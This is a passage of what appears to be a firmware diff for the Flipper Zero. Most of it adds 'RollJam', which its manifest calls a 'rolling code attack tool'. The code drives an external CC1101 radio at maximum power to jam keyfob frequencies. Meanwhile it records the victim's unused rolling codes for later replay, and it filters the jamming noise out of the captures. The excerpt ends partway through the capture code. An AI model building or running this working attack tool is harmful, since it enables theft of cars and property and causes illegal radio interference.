struct mjs* mjs = mjs_create(NULL);
js_value_test_compatibility_matrix(mjs);
js_value_test_literal(mjs);
js_value_test_primitives(mjs);
js_value_test_enums(mjs);
js_value_test_object(mjs);
js_value_test_default(mjs);
js_value_test_args(mjs);
mjs_destroy(mjs);
}
MU_TEST_SUITE(test_js) {
MU_RUN_TEST(js_value_test);
MU_RUN_TEST(js_test_basic);
MU_RUN_TEST(js_test_math);
MU_RUN_TEST(js_test_event_loop);
MU_RUN_TEST(js_test_storage);
}
int run_minunit_test_js(void) {
MU_RUN_SUITE(test_js);
return MU_EXIT_CODE;
}
TEST_API_DEFINE(run_minunit_test_js)

View File

@@ -7,8 +7,6 @@
#include <rpc/rpc_i.h>
#include <flipper.pb.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
xQueueGenericSend,
BaseType_t,
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
API_METHOD(
js_thread_run,
JsThread*,
(const char* script_path, JsThreadCallback callback, void* context)),
API_METHOD(js_thread_stop, void, (JsThread * worker)),
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
API_METHOD(
js_value_parse,
JsValueParseStatus,
(struct mjs * mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...)),
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));

View File

@@ -0,0 +1,23 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

View File

@@ -0,0 +1,568 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -0,0 +1,636 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
}
}
return (matches > (int)(s->size * 8 / 10));
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
